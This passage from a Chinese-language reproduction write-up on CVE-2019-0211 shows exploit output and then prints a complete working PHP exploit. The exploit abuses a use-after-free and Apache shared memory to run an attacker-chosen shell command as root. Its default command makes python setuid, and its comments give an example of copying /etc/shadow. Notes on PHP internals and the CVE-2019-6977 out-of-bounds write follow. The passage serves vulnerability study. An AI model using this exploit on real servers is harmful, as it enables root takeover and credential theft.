Found apache worker: 27114
Found apache worker: 27115
Found apache worker: 27116
Found apache worker: 27117
Got 5 PIDs.
Triggering UAF
Creating room and filling empty spaces
Allocating $abc and $p
Unsetting both variables and setting $protector
Creating DateInterval object
UAF successful.
Address of $abc: 0x7f2fefe9a4e8
Looking for all_buckets in memory
[&mutex]: 0x7f2ff863f1e0
[mutex]: 0x7f2ff863f330
[meth]: 0x7f2ff801ab60
[*]: 0x7f2ff7e020d0
[*]: 0x7f2ff7e02070
[*]: 0x7f2ff7e02010
[*]: 0x7f2ff7e01fb0
[*]: 0x7f2ff7e01b30
[*]: 0x7f2ff7e01810
[*]: 0x7f2ff7e01f40
all_buckets = 0x7f2ff863f1d0
Computing potential bucket indexes and addresses
Placing payload at address 0x7f2ff85bc148
Spraying pointer
Address: 0x7f2ff85bc218
From: 0x7f2ff85bc250
To: 0x7f2ff85cc000
Size: 0xfdb0
Covered: 0x4f470
Apache: 0xe3000
Iterating in SHM to find PIDs...
Got PID: 27113
PID matches
Changed bucket value to -32201
Ranges: 0x7f2ff8678d28 - 0x7f2ff8688ad8
Got PID: 27114
PID matches
Changed bucket value to -29495
Ranges: 0x7f2ff8668f78 - 0x7f2ff8678d28
Got PID: 27115
PID matches
Changed bucket value to -26789
Ranges: 0x7f2ff86591c8 - 0x7f2ff8668f78
Got PID: 27116
PID matches
Changed bucket value to -24083
Ranges: 0x7f2ff8649418 - 0x7f2ff86591c8
Got PID: 27117
PID matches
Changed bucket value to -21377
Ranges: 0x7f2ff8639668 - 0x7f2ff8649418
EXPLOIT SUCCESSFUL.
Await 6:25AM.
Step3 – 手动重启Apache(模拟logrotate的每日自动重启)
$ sudo apachectl graceful
Step4 – 查看利用效果
$ ls -l /usr/bin/python3.6
-rwsr-sr-x 1 root root 4526456 Nov 7 2019 /usr/bin/python3.6
## 5\. 复现环境EXP
<?php
# CARPE (DIEM): CVE-2019-0211 Apache Root Privilege Escalation
# Charles Fol
# @cfreal_
# 2019-04-08
#
# INFOS
#
# https://cfreal.github.io/carpe-diem-cve-2019-0211-apache-local-root.html
#
# USAGE
#
# 1. Upload exploit to Apache HTTP server
# 2. Send request to page
# 3. Await 6:25AM for logrotate to restart Apache
# 4. python3.5 is now suid 0
#
# You can change the command that is ran as root using the cmd HTTP
# parameter (GET/POST).
# Example: curl http://localhost/carpediem.php?cmd=cp+/etc/shadow+/tmp/
#
# SUCCESS RATE
#
# Number of successful and failed exploitations relative to of the number
# of MPM workers (i.e. Apache subprocesses). YMMV.
#
# W --% S F
# 5 87% 177 26 (default)
# 8 89% 60 8
# 10 95% 70 4
#
# More workers, higher success rate.
# By default (5 workers), 87% success rate. With huge HTTPds, close to 100%.
# Generally, failure is due to all_buckets being relocated too far from its
# original address.
#
# TESTED ON
#
# - Apache/2.4.25
# - PHP 7.2.12
# - Debian GNU/Linux 9.6
#
# TESTING
#
# $ curl http://localhost/cfreal-carpediem.php
# $ sudo /usr/sbin/logrotate /etc/logrotate.conf --force
# $ ls -alh /usr/bin/python3.5
# -rwsr-sr-x 2 root root 4.6M Sep 27 2018 /usr/bin/python3.5
#
# There are no hardcoded addresses.
# - Addresses read through /proc/self/mem
# - Offsets read through ELF parsing
#
# As usual, there are tons of comments.
#
o('CARPE (DIEM) ~ CVE-2019-0211');
o('');
error_reporting(E_ALL);
# Starts the exploit by triggering the UAF.
function real()
{
global $y;
$y = [new Z()];
json_encode([0 => &$y]);
}
# In order to read/write what comes after in memory, we need to UAF a string so
# that we can control its size and make in-place edition.
# An easy way to do that is to replace the string by a timelib_rel_time
# structure of which the first bytes can be reached by the (y, m, d, h, i, s)
# properties of the DateInterval object.
#
# Steps:
# - Create a base object (Z)
# - Add string property (abc) so that sizeof(abc) = sizeof(timelib_rel_time)
# - Create DateInterval object ($place) meant to be unset and filled by another
# - Trigger the UAF by unsetting $y[0], which is still reachable using $this
# - Unset $place: at this point, if we create a new DateInterval object, it will
# replace $place in memory
# - Create a string ($holder) that fills $place's timelib_rel_time structure
# - Allocate a new DateInterval object: its timelib_rel_time structure will
# end up in place of abc
# - Now we can control $this->abc's zend_string structure entirely using
# y, m, d etc.
# - Increase abc's size so that we can read/write memory that comes after it,
# especially the shared memory block
# - Find out all_buckets' position by finding a memory region that matches the
# mutex->meth structure
# - Compute the bucket index required to reach the SHM and get an arbitrary
# function call
# - Scan ap_scoreboard_image->parent[] to find workers' PID and replace the
# bucket
class Z implements JsonSerializable
{
public function jsonSerialize()
{
global $y, $addresses, $workers_pids;
#
# Setup memory
#
o('Triggering UAF');
o(' Creating room and filling empty spaces');
# Fill empty blocks to make sure our allocations will be contiguous
# I: Since a lot of allocations/deallocations happen before the script
# is ran, two variables instanciated at the same time might not be
# contiguous: this can be a problem for a lot of reasons.
# To avoid this, we instanciate several DateInterval objects. These
# objects will fill a lot of potentially non-contiguous memory blocks,
# ensuring we get "fresh memory" in upcoming allocations.
$contiguous = [];
for($i=0;$i<10;$i++)
$contiguous[] = new DateInterval('PT1S');
# Create some space for our UAF blocks not to get overwritten
# I: A PHP object is a combination of a lot of structures, such as
# zval, zend_object, zend_object_handlers, zend_string, etc., which are
# all allocated, and freed when the object is destroyed.
# After the UAF is triggered on the object, all the structures that are
# used to represent it will be marked as free.
# If we create other variables afterwards, those variables might be
# allocated in the object's previous memory regions, which might pose
# problems for the rest of the exploitation.
# To avoid this, we allocate a lot of objects before the UAF, and free
# them afterwards. Since PHP's heap is LIFO, when we create other vars,
# they will take the place of those objects instead of the object we
# are triggering the UAF on. This means our object is "shielded" and
# we don't have to worry about breaking it.
$room = [];
for($i=0;$i<10;$i++)
$room[] = new Z();
# Build string meant to fill old DateInterval's timelib_rel_time
# I: ptr2str's name is unintuitive here: we just want to allocate a
# zend_string of size 78.
$_protector = ptr2str(0, 78);
o(' Allocating $abc and $p');
# Create ABC
# I: This is the variable we will use to R/W memory afterwards.
# After we free the Z object, we'll make sure abc is overwritten by a
# timelib_rel_time structure under our control. The first 8*8 = 64 bytes
# of this structure can be modified easily, meaning we can change the
# size of abc. This will allow us to read/write memory after abc.
$this->abc = ptr2str(0, 79);
# Create $p meant to protect $this's blocks
# I: Right after we trigger the UAF, we will unset $p.
# This means that the timelib_rel_time structure (TRT) of this object
# will be freed. We will then allocate a string ($protector) of the same
# size as TRT. Since PHP's heap is LIFO, the string will take the place
# of the now-freed TRT in memory.
# Then, we create a new DateInterval object ($x). From the same
# assumption, every structure constituting this new object will take the
# place of the previous structure. Nevertheless, since TRT's memory
# block has already been replaced by $protector, the new TRT will be put
# in the next free blocks of the same size, which happens to be $abc
# (remember, |abc| == |timelib_rel_time|).
# We now have the following situation: $x is a DateInterval object whose
# internal TRT structure has the same address as $abc's zend_string.
$p = new DateInterval('PT1S');
#
# Trigger UAF
#
o(' Unsetting both variables and setting $protector');
# UAF here, $this is usable despite being freed
unset($y[0]);
# Protect $this's freed blocks
unset($p);
# Protect $p's timelib_rel_time structure
$protector = ".$_protector";
# !!! This is only required for apache
# Got no idea as to why there is an extra deallocation (?)
o(' Creating DateInterval object');
# After this line:
# &((php_interval_obj) x).timelib_rel_time == ((zval) abc).value.str
# We can control the structure of $this->abc and therefore read/write
# anything that comes after it in memory by changing its size and
# making in-place edits using $this->abc[$position] = $char
$x = new DateInterval('PT1S');
# zend_string.refcount = 0
# It will get incremented at some point, and if it is > 1,
# zend_assign_to_string_offset() will try to duplicate it before making
# the in-place replacement
$x->y = 0x00;
# zend_string.len
$x->d = 0x100;
# zend_string.val[0-4]
$x->h = 0x13121110;
# Verify UAF was successful
# We modified stuff via $x; they should be visible by $this->abc, since
# they are at the same memory location.
if(!(
strlen($this->abc) === $x->d &&
$this->abc[0] == "x10" &&
$this->abc[1] == "x11" &&
$this->abc[2] == "x12" &&
$this->abc[3] == "x13"
))
{
o('UAF failed, exiting.');
exit();
}
o('UAF successful.');
o('');
# Give us some room
# I: As indicated before, just unset a lot of stuff so that next allocs
# don't break our fragile UAFd structure.
unset($room);
#
# Setup the R/W primitive
#
# We control $abc's internal zend_string structure, therefore we can R/W
# the shared memory block (SHM), but for that we need to know the
# position of $abc in memory
# I: We know the absolute position of the SHM, so we need to need abc's
# as well, otherwise we cannot compute the offset
# Assuming the allocation was contiguous, memory looks like this, with
# 0x70-sized fastbins:
# [zend_string:abc]
# [zend_string:protector]
# [FREE#1]
# [FREE#2]
# Therefore, the address of the 2nd free block is in the first 8 bytes
# of the first block: 0x70 * 2 - 24
$address = str2ptr($this->abc, 0x70 * 2 - 24);
# The address we got points to FREE#2, hence we're |block| * 3 higher in
# memory
$address = $address - 0x70 * 3;
# The beginning of the string is 24 bytes after its origin
$address = $address + 24;
o('Address of $abc: 0x' . dechex($address));
o('');
# Compute the size required for our string to include the whole SHM and
# apache's memory region
$distance =
max($addresses['apache'][1], $addresses['shm'][1]) - $address
;
$x->d = $distance;
# We can now read/write in the whole SHM and apache's memory region.
#
# Find all_buckets in memory
#
# We are looking for a structure s.t.
# |all_buckets, mutex| = 0x10
# |mutex, meth| = 0x8
# all_buckets is in apache's memory region
# mutex is in apache's memory region
# meth is in libaprR's memory region
# meth's function pointers are in libaprX's memory region
o('Looking for all_buckets in memory');
$all_buckets = 0;
for(
$i = $addresses['apache'][0] + 0x10;
$i < $addresses['apache'][1] - 0x08;
$i += 8
)
{
# mutex
$mutex = $pointer = str2ptr($this->abc, $i - $address);
if(!in($pointer, $addresses['apache']))
continue;
# meth
$meth = $pointer = str2ptr($this->abc, $pointer + 0x8 - $address);
if(!in($pointer, $addresses['libaprR']))
continue;
o(' [&mutex]: 0x' . dechex($i));
o(' [mutex]: 0x' . dechex($mutex));
o(' [meth]: 0x' . dechex($meth));
# meth->*
# flags
if(str2ptr($this->abc, $pointer - $address) != 0)
continue;
# methods
for($j=0;$j<7;$j++)
{
$m = str2ptr($this->abc, $pointer + 0x8 + $j * 8 - $address);
if(!in($m, $addresses['libaprX']))
continue 2;
o(' [*]: 0x' . dechex($m));
}
$all_buckets = $i - 0x10;
o('all_buckets = 0x' . dechex($all_buckets));
break;
}
if(!$all_buckets)
{
o('Unable to find all_buckets');
exit();
}
o('');
# The address of all_buckets will change when apache is gracefully
# restarted. This is a problem because we need to know all_buckets's
# address in order to make all_buckets[some_index] point to a memory
# region we control.
#
# Compute potential bucket indexes and their addresses
#
o('Computing potential bucket indexes and addresses');
# Since we have sizeof($workers_pid) MPM workers, we can fill the rest
# of the ap_score_image->servers items, so 256 - sizeof($workers_pids),
# with data we like. We keep the one at the top to store our payload.
# The rest is sprayed with the address of our payload.
$size_prefork_child_bucket = 24;
$size_worker_score = 264;
# I get strange errors if I use every "free" item, so I leave twice as
# many items free. I'm guessing upon startup some
$spray_size = $size_worker_score * (256 - sizeof($workers_pids) * 2);
$spray_max = $addresses['shm'][1];
$spray_min = $spray_max - $spray_size;
$spray_middle = (int) (($spray_min + $spray_max) / 2);
$bucket_index_middle = (int) (
- ($all_buckets + 0x1a000 - $spray_middle) /
$size_prefork_child_bucket
);
//o(dechex($bucket_index_middle));
// o(dechex($bucket_index_middle) . " " . dechex($all_buckets) . " " . dechex($spray_middle) . " " . dechex($size_prefork_child_bucket));
#
# Build payload
#
# A worker_score structure was kept empty to put our payload in
$payload_start = $spray_min - $size_worker_score;
$z = ptr2str(0);
# Payload maxsize 264 - 112 = 152
# Offset 8 cannot be 0, but other than this you can type whatever
# command you want
$bucket = isset($_REQUEST['cmd']) ?
$_REQUEST['cmd'] :
"chmod +s /usr/bin/python3.6";
if(strlen($bucket) > $size_worker_score - 112)
{
o(
'Payload size is bigger than available space (' .
($size_worker_score - 112) .
'), exiting.'
);
exit();
}
# Align
$bucket = str_pad($bucket, $size_worker_score - 112, "x00");
# apr_proc_mutex_unix_lock_methods_t
$meth =
$z .
$z .
$z .
$z .
$z .
$z .
# child_init
ptr2str($addresses['zend_object_std_dtor'])
;
# The second pointer points to meth, and is used before reaching the
# arbitrary function call
# The third one and the last one are both used by the function call
# zend_object_std_dtor(object) => ... => system(&arData[0]->val)
$properties =
# refcount
ptr2str(1) .
# u-nTableMask meth
ptr2str($payload_start + strlen($bucket)) .
# Bucket arData
ptr2str($payload_start) .
# uint32_t nNumUsed;
ptr2str(1, 4) .
# uint32_t nNumOfElements;
ptr2str(0, 4) .
# uint32_t nTableSize
ptr2str(0, 4) .
# uint32_t nInternalPointer
ptr2str(0, 4) .
# zend_long nNextFreeElement
$z .
# dtor_func_t pDestructor
ptr2str($addresses['system'])
;
$payload =
$bucket .
$meth .
$properties
;
# Write the payload
o('Placing payload at address 0x' . dechex($payload_start));
$p = $payload_start - $address;
for(
$i = 0;
$i < strlen($payload);
$i++
)
{
$this->abc[$p+$i] = $payload[$i];
}
# Fill the spray area with a pointer to properties
$properties_address = $payload_start + strlen($bucket) + strlen($meth);
o('Spraying pointer');
o(' Address: 0x' . dechex($properties_address));
o(' From: 0x' . dechex($spray_min));
o(' To: 0x' . dechex($spray_max));
o(' Size: 0x' . dechex($spray_size));
o(' Covered: 0x' . dechex($spray_size * count($workers_pids)));
o(' Apache: 0x' . dechex(
$addresses['apache'][1] - $addresses['apache'][0]
));
$s_properties_address = ptr2str($properties_address);
for(
$i = $spray_min;
$i < $spray_max;
$i++
)
{
$this->abc[$i - $address] = $s_properties_address[$i % 8];
}
o('');
# Find workers PID in the SHM: it indicates the beginning of their
# process_score structure. We can then change process_score.bucket to
# the index we computed. When apache reboots, it will use
# all_buckets[ap_scoreboard_image->parent[i]->bucket]->mutex
# which means we control the whole apr_proc_mutex_t structure.
# This structure contains pointers to multiple functions, especially
# mutex->meth->child_init(), which will be called before privileges
# are dropped.
# We do this for every worker PID, incrementing the bucket index so that
# we cover a bigger range.
o('Iterating in SHM to find PIDs...');
# Number of bucket indexes covered by our spray
$spray_nb_buckets = (int) ($spray_size / $size_prefork_child_bucket);
# Number of bucket indexes covered by our spray and the PS structures
$total_nb_buckets = $spray_nb_buckets * count($workers_pids);
# First bucket index to handle
$bucket_index = $bucket_index_middle - (int) ($total_nb_buckets / 2);
// $bucket_index = $bucket_index_middle;
# Iterate over every process_score structure until we find every PID or
# we reach the end of the SHM
for(
$p = $addresses['shm'][0] + 0x20;
$p < $addresses['shm'][1] && count($workers_pids) > 0;
$p += 0x24
)
{
$l = $p - $address;
$current_pid = str2ptr($this->abc, $l, 4);
o('Got PID: ' . $current_pid);
# The PID matches one of the workers
if(in_array($current_pid, $workers_pids))
{
unset($workers_pids[$current_pid]);
o(' PID matches');
# Update bucket address
$s_bucket_index = pack('l', $bucket_index);
$this->abc[$l + 0x20] = $s_bucket_index[0];
$this->abc[$l + 0x21] = $s_bucket_index[1];
$this->abc[$l + 0x22] = $s_bucket_index[2];
$this->abc[$l + 0x23] = $s_bucket_index[3];
o(' Changed bucket value to ' . $bucket_index);
$min = $spray_min - $size_prefork_child_bucket * $bucket_index;
$max = $spray_max - $size_prefork_child_bucket * $bucket_index;
o(' Ranges: 0x' . dechex($min) . ' - 0x' . dechex($max));
# This bucket range is covered, go to the next one
$bucket_index += $spray_nb_buckets;
}
}
if(count($workers_pids) > 0)
{
o(
'Unable to find PIDs ' .
implode(', ', $workers_pids) .
' in SHM, exiting.'
);
exit();
}
o('');
o('EXPLOIT SUCCESSFUL.');
o('Await 6:25AM.');
return 0;
}
}
function o($msg)
{
# No concatenation -> no string allocation
print($msg);
print("n");
}
function ptr2str($ptr, $m=8)
{
$out = "";
for ($i=0; $i<$m; $i++)
{
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
function str2ptr(&$str, $p, $s=8)
{
$address = 0;
for($j=$s-1;$j>=0;$j--)
{
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function in($i, $range)
{
return $i >= $range[0] && $i < $range[1];
}
/**
* Finds the offset of a symbol in a file.
*/
function find_symbol($file, $symbol)
{
$elf = file_get_contents($file);
$e_shoff = str2ptr($elf, 0x28);
$e_shentsize = str2ptr($elf, 0x3a, 2);
$e_shnum = str2ptr($elf, 0x3c, 2);
$dynsym_off = 0;
$dynsym_sz = 0;
$dynstr_off = 0;
for($i=0;$i<$e_shnum;$i++)
{
$offset = $e_shoff + $i * $e_shentsize;
$sh_type = str2ptr($elf, $offset + 0x04, 4);
$SHT_DYNSYM = 11;
$SHT_SYMTAB = 2;
$SHT_STRTAB = 3;
switch($sh_type)
{
case $SHT_DYNSYM:
$dynsym_off = str2ptr($elf, $offset + 0x18, 8);
$dynsym_sz = str2ptr($elf, $offset + 0x20, 8);
break;
case $SHT_STRTAB:
case $SHT_SYMTAB:
if(!$dynstr_off)
$dynstr_off = str2ptr($elf, $offset + 0x18, 8);
break;
}
}
if(!($dynsym_off && $dynsym_sz && $dynstr_off))
exit('.');
$sizeof_Elf64_Sym = 0x18;
for($i=0;$i * $sizeof_Elf64_Sym < $dynsym_sz;$i++)
{
$offset = $dynsym_off + $i * $sizeof_Elf64_Sym;
$st_name = str2ptr($elf, $offset, 4);
if(!$st_name)
continue;
$offset_string = $dynstr_off + $st_name;
$end = strpos($elf, "x00", $offset_string) - $offset_string;
$string = substr($elf, $offset_string, $end);
if($string == $symbol)
{
$st_value = str2ptr($elf, $offset + 0x8, 8);
return $st_value;
}
}
die('Unable to find symbol ' . $symbol);
}
# Obtains the addresses of the shared memory block and some functions through
# /proc/self/maps
# This is hacky as hell.
function get_all_addresses()
{
$addresses = [];
$data = file_get_contents('/proc/self/maps');
$follows_shm = false;
foreach(explode("n", $data) as $line)
{
if(!isset($addresses['shm']) && strpos($line, '/dev/zero'))
{
$line = explode(' ', $line)[0];
$bounds = array_map('hexdec', explode('-', $line));
$msize = $bounds[1] - $bounds[0];
if ($msize >= 0x10000 && $msize <= 0x20000)
{
$addresses['shm'] = $bounds;
$follows_shm = true;
}
}
if(
preg_match('#(/[^s]+libc-[0-9.]+.so[^s]*)#', $line, $matches) &&
strpos($line, 'r-xp')
)
{
$offset = find_symbol($matches[1], 'system');
$line = explode(' ', $line)[0];
$line = hexdec(explode('-', $line)[0]);
$addresses['system'] = $line + $offset;
}
if(
strpos($line, 'libapr-1.so') &&
strpos($line, 'r-xp')
)
{
$line = explode(' ', $line)[0];
$bounds = array_map('hexdec', explode('-', $line));
$addresses['libaprX'] = $bounds;
}
if(
strpos($line, 'libapr-1.so') &&
strpos($line, 'r--p')
)
{
$line = explode(' ', $line)[0];
$bounds = array_map('hexdec', explode('-', $line));
$addresses['libaprR'] = $bounds;
}
# Apache's memory block is between the SHM and ld.so
# Sometimes some rwx region gets mapped; all_buckets cannot be in there
# but we include it anyways for the sake of simplicity
if(
(
strpos($line, 'rw-p') ||
strpos($line, 'rwxp')
) &&
$follows_shm
)
{
if(strpos($line, '/lib'))
{
$follows_shm = false;
continue;
}
$line = explode(' ', $line)[0];
$bounds = array_map('hexdec', explode('-', $line));
if(!array_key_exists('apache', $addresses))
$addresses['apache'] = $bounds;
else if($addresses['apache'][1] == $bounds[0])
$addresses['apache'][1] = $bounds[1];
else
$follows_shm = false;
}
if(
preg_match('#(/[^s]+libphp7[0-9.]*.so[^s]*)#', $line, $matches) &&
strpos($line, 'r-xp')
)
{
$offset = find_symbol($matches[1], 'zend_object_std_dtor');
$line = explode(' ', $line)[0];
$line = hexdec(explode('-', $line)[0]);
$addresses['zend_object_std_dtor'] = $line + $offset;
}
}
$expected = [
'shm', 'system', 'libaprR', 'libaprX', 'apache', 'zend_object_std_dtor'
];
$missing = array_diff($expected, array_keys($addresses));
if($missing)
{
o(
'The following addresses were not determined by parsing ' .
'/proc/self/maps: ' . implode(', ', $missing)
);
exit(0);
}
o('PID: ' . getmypid());
o('Fetching addresses');
foreach($addresses as $k => $a)
{
if(!is_array($a))
$a = [$a];
o(' ' . $k . ': ' . implode('-0x', array_map(function($z) {
return '0x' . dechex($z);
}, $a)));
}
o('');
return $addresses;
}
# Extracts PIDs of apache workers using /proc/*/cmdline and /proc/*/status,
# matching the cmdline and the UID
function get_workers_pids()
{
o('Obtaining apache workers PIDs');
$pids = [];
$cmd = file_get_contents('/proc/self/cmdline');
$processes = glob('/proc/*');
foreach($processes as $process)
{
if(!preg_match('#^/proc/([0-9]+)$#', $process, $match))
continue;
$pid = (int) $match[1];
if(
!is_readable($process . '/cmdline') ||
!is_readable($process . '/status')
)
continue;
if($cmd !== file_get_contents($process . '/cmdline'))
continue;
$status = file_get_contents($process . '/status');
foreach(explode("n", $status) as $line)
{
if(
strpos($line, 'Uid:') === 0 &&
preg_match('#b' . posix_getuid() . 'b#', $line)
)
{
o(' Found apache worker: ' . $pid);
$pids[$pid] = $pid;
break;
}
}
}
o('Got ' . sizeof($pids) . ' PIDs.');
o('');
return $pids;
}
$addresses = get_all_addresses();
$workers_pids = get_workers_pids();
real();
?>
## 6\. 背景知识
php内核相关: <https://www.kancloud.cn/nickbai/php7/363255>
### 函数
自定义函数执行原理
<https://www.kancloud.cn/nickbai/php7/363282>
execute_ex处理php脚本中函数的执行，它将php语言解释成OPCODE指令。
其中无返回值函数的解释和执行在ZEND_DO_UCALL_SPEC_RETVAL_UNUSED_HANDLER中完成。
通过VM_ENTER宏以此调用opcode对应的handler处理指令。
调用栈：
#0 execute_ex
#1 0x0000555555ddd43d in zend_execute
#2 0x0000555555c1b919 in zend_execute_scripts
#3 0x0000555555b60723 in php_execute_script
#4 0x0000555555de0cf8 in do_cli
#5 0x0000555555de20bf in main
#6 0x00007ffff6a38b97 in __libc_start_main
#7 0x00005555556896aa in _start ()
execute_ex函数：
ZEND_API void execute_ex(zend_execute_data *ex)
{
while (1) {
...
HYBRID_CASE(ZEND_DO_UCALL_SPEC_RETVAL_UNUSED):
ZEND_DO_UCALL_SPEC_RETVAL_UNUSED_HANDLER(ZEND_OPCODE_HANDLER_ARGS_PASSTHRU);
HYBRID_BREAK();
...
}
ZEND_DO_UCALL_SPEC_RETVAL_UNUSED_HANDLER函数：
static ZEND_VM_HOT ZEND_OPCODE_HANDLER_RET ZEND_FASTCALL ZEND_DO_UCALL_SPEC_RETVAL_UNUSED_HANDLER(ZEND_OPCODE_HANDLER_ARGS)
{
USE_OPLINE
zend_execute_data *call = EX(call);
zend_function *fbc = call->func;
zval *ret;
...
i_init_func_execute_data(call, &fbc->op_array, ret);
ZEND_VM_ENTER();
}
ZEND_VM_ENTER宏：
# define ZEND_VM_ENTER() execute_data = EG(current_execute_data); LOAD_OPLINE(); ZEND_VM_INTERRUPT_CHECK(); ZEND_VM_CONTINUE()
# define ZEND_VM_CONTINUE() ((opcode_handler_t)OPLINE->handler)(ZEND_OPCODE_HANDLER_ARGS_PASSTHRU); return
zend_function结构体：
保存了php函数名称，参数，opcode数组op_array
union _zend_function {
zend_uchar type;
uint32_t quick_arg_flags;
struct {
...
zend_string *function_name;
...
uint32_t num_args;
uint32_t required_num_args;
...
} common;
zend_op_array op_array;
zend_internal_function internal_function;
};
zend_op_array和op_code:
struct _zend_op_array {
/* Common elements */
zend_uchar type;
...
zend_string *function_name;
...
zend_op *opcodes;
...
HashTable *static_variables;
}
struct _zend_op {
const void *handler;
...
zend_uchar opcode;
...
};
调试：
这样下断点可以观察到即将执行的自定义函数
gdb
file php
b main
r uaf.php
b i_init_func_execute_data
c
si
p (char *)(op_array.function_name.val)
c
si
p (char *)(op_array.function_name.val)
### 类
<https://www.kancloud.cn/nickbai/php7/363285>
// A PHP object is a combination of a lot of structures, such as zval, zend_object, zend_object_handlers, zend_string, etc., which are all allocated, and freed when the object is destroyed.
struct _zend_object {
zend_refcounted_h gc; // 引用计数器，8字节
uint32_t handle;
zend_class_entry *ce;
const zend_object_handlers *handlers;
HashTable *properties;
zval properties_table[1];
};
struct _zend_class_entry {
char type;
zend_string *name;
struct _zend_class_entry *parent;
int refcount;
uint32_t ce_flags;
...
HashTable function_table;
HashTable properties_info;
HashTable constants_table;
...
union _zend_function *constructor;
union _zend_function *destructor;
...
}
struct _zend_object_handlers {
/* offset of real object header (usually zero) */
int offset;
/* general object functions */
zend_object_free_obj_t free_obj;
...
}
### 变量
zend_string
<https://www.kancloud.cn/nickbai/php7/363267>
<http://www.phpinternalsbook.com/php7/internal_types/strings/zend_strings.html>
struct _zend_string {
zend_refcounted_h gc; // 引用计数器，8字节
zend_ulong h;
size_t len;
char val[1];
}
struct _zend_string zend_string;
#define ZSTR_VAL(zstr) (zstr)->val
#define ZSTR_LEN(zstr) (zstr)->len
## 7\. 其他
### CVE-2019-6977
这个是作者提到的后来发现的一个PHP的越界写漏洞，可以替代上面的UAF来读写apache内存
<https://bugs.php.net/bug.php?id=77270>
<https://github.com/cfreal/exploits/blob/master/CVE-2019-6977-imagecolormatch/exploit.php>
<https://nvd.nist.gov/vuln/detail/CVE-2019-6977>
imagecreatetruecolor函数
主要是调用gdImageCreateTrueColor分配内存并初始化一个gdImage结构体
gdImage
typedef struct gdImageStruct {
/* Palette-based image pixels */
unsigned char ** pixels;
int sx;
int sy;
...
int ** tpixels;
...
} gdImage;
typedef gdImage * gdImagePtr;
imagecreatetruecolor
// php/ext/gd/gd.c
PHP_FUNCTION(imagecreatetruecolor)
{
...
im = gdImageCreateTrueColor(x_size, y_size);
...
}
// php/ext/gd/libgd/gd.c
gdImagePtr gdImageCreateTrueColor (int sx, int sy)
{
int i;
gdImagePtr im;
...
im = (gdImage *) gdMalloc(sizeof(gdImage));
memset(im, 0, sizeof(gdImage));
im->tpixels = (int **) gdMalloc(sizeof(int *) * sy);
...
for (i = 0; i < sy; i++) {
im->tpixels[i] = (int *) gdCalloc(sx, sizeof(int));
}
...
im->trueColor = 1;
...
return im;
}
#define gdMalloc(size) emalloc(size)
#define gdCalloc(nmemb, size) ecalloc(nmemb, size)
imagecolorallocate函数
给一个图像分配颜色
// php
int imagecolorallocate ( resource $image , int $red , int $green , int $blue )
PHP_FUNCTION(imagecolorallocate)
{
zval *IM;
zend_long red, green, blue;
gdImagePtr im;
int ct = (-1);
...
ct = gdImageColorAllocate(im, red, green, blue);
...
}
int gdImageColorAllocate (gdImagePtr im, int r, int g, int b)
{
return gdImageColorAllocateAlpha (im, r, g, b, gdAlphaOpaque);
}
// truecolor 图像
int gdImageColorAllocateAlpha (gdImagePtr im, int r, int g, int b, int a)
{
int i;
int ct = (-1);
if (im->trueColor) {
return gdTrueColorAlpha(r, g, b, a);
}
...
}
#define gdTrueColorAlpha(r, g, b, a) (((a) << 24) +
((r) << 16) +
((g) << 8) +
(b))
imagecreate函数
imagecreate — 新建一个基于调色板的图像
PHP_FUNCTION(imagecreate)
{
zend_long x_size, y_size;
gdImagePtr im;
...
im = gdImageCreate(x_size, y_size);
...
}
gdImagePtr gdImageCreate (int sx, int sy)
{
int i;
gdImagePtr im;
...
im = (gdImage *) gdCalloc(1, sizeof(gdImage));
im->pixels = (unsigned char **) gdMalloc(sizeof(unsigned char *) * sy);
...
for (i = 0; i < sy; i++) {
im->pixels[i] = (unsigned char *) gdCalloc(sx, sizeof(unsigned char));
}
im->sx = sx;
im->sy = sy;
...
for (i = 0; i < gdMaxColors; i++) {
im->open[i] = 1;
im->red[i] = 0;
im->green[i] = 0;
im->blue[i] = 0;
}
im->trueColor = 0;
im->tpixels = 0;
...
return im;
}
对一个调色板图像对象，每调用imagecolorallocate会使im->colorsTotal加1
int gdImageColorAllocateAlpha (gdImagePtr im, int r, int g, int b, int a)
{
int i;
int ct = (-1);
...
for (i = 0; i < im->colorsTotal; i++) {
if (im->open[i]) {
ct = i;
break;
}
}
if (ct == (-1)) {
ct = im->colorsTotal;
if (ct == gdMaxColors) {
return -1;
}
im->colorsTotal++;
}
im->red[ct] = r;
im->green[ct] = g;
im->blue[ct] = b;
im->alpha[ct] = a;
im->open[ct] = 0;
return ct;
}
imagecolormatch函数
PHP_FUNCTION(imagecolormatch)
{
...
result = gdImageColorMatch(im1, im2);
...
}
iint gdImageColorMatch (gdImagePtr im1, gdImagePtr im2)
{
unsigned long *buf; /* stores our calculations */
unsigned long *bp; /* buf ptr */
int color, rgb;
int x,y;
int count;
...
buf = (unsigned long *)safe_emalloc(sizeof(unsigned long), 5 * im2->colorsTotal, 0);
memset( buf, 0, sizeof(unsigned long) * 5 * im2->colorsTotal );
for (x=0; x<im1->sx; x++) {
for( y=0; y<im1->sy; y++ ) {
color = im2->pixels[y][x];
rgb = im1->tpixels[y][x];
// 一共有0～255个颜色(color)，每个颜色占五个long：每个color的次数，红色的深度(0~255)，绿色的深度，蓝色的深度，alpha大小
bp = buf + (color * 5);
(*(bp++))++;
*(bp++) += gdTrueColorGetRed(rgb);
*(bp++) += gdTrueColorGetGreen(rgb);
*(bp++) += gdTrueColorGetBlue(rgb);
*(bp++) += gdTrueColorGetAlpha(rgb);
}
}
bp = buf;
for (color=0; color<im2->colorsTotal; color++) {
count = *(bp++);
if( count > 0 ) {
im2->red[color] = *(bp++) / count;
im2->green[color] = *(bp++) / count;
im2->blue[color] = *(bp++) / count;
im2->alpha[color] = *(bp++) / count;
} else {
bp += 4;
}
}
gdFree(buf);
return 0;
}
# define safe_emalloc(a,b,c) emalloc((a)*(b)+(c))
#define gdTrueColorGetAlpha(c) (((c) & 0x7F000000) >> 24)
#define gdTrueColorGetRed(c) (((c) & 0xFF0000) >> 16)
#define gdTrueColorGetGreen(c) (((c) & 0x00FF00) >> 8)
#define gdTrueColorGetBlue(c) ((c) & 0x0000FF)
漏洞原理
imagecolormatch会根据调色板图像的im->colorsTotal创建一个缓冲区：
buf = (unsigned long *)safe_emalloc(sizeof(unsigned long), 5 * im2->colorsTotal, 0);
对缓冲区的写入使用的是
bp = buf + (color * 5);
而color的范围是`(0~255)` ，且colorsTotal和color都可以由用户控制，最终可以实现越界写。
### 调试环境搭建
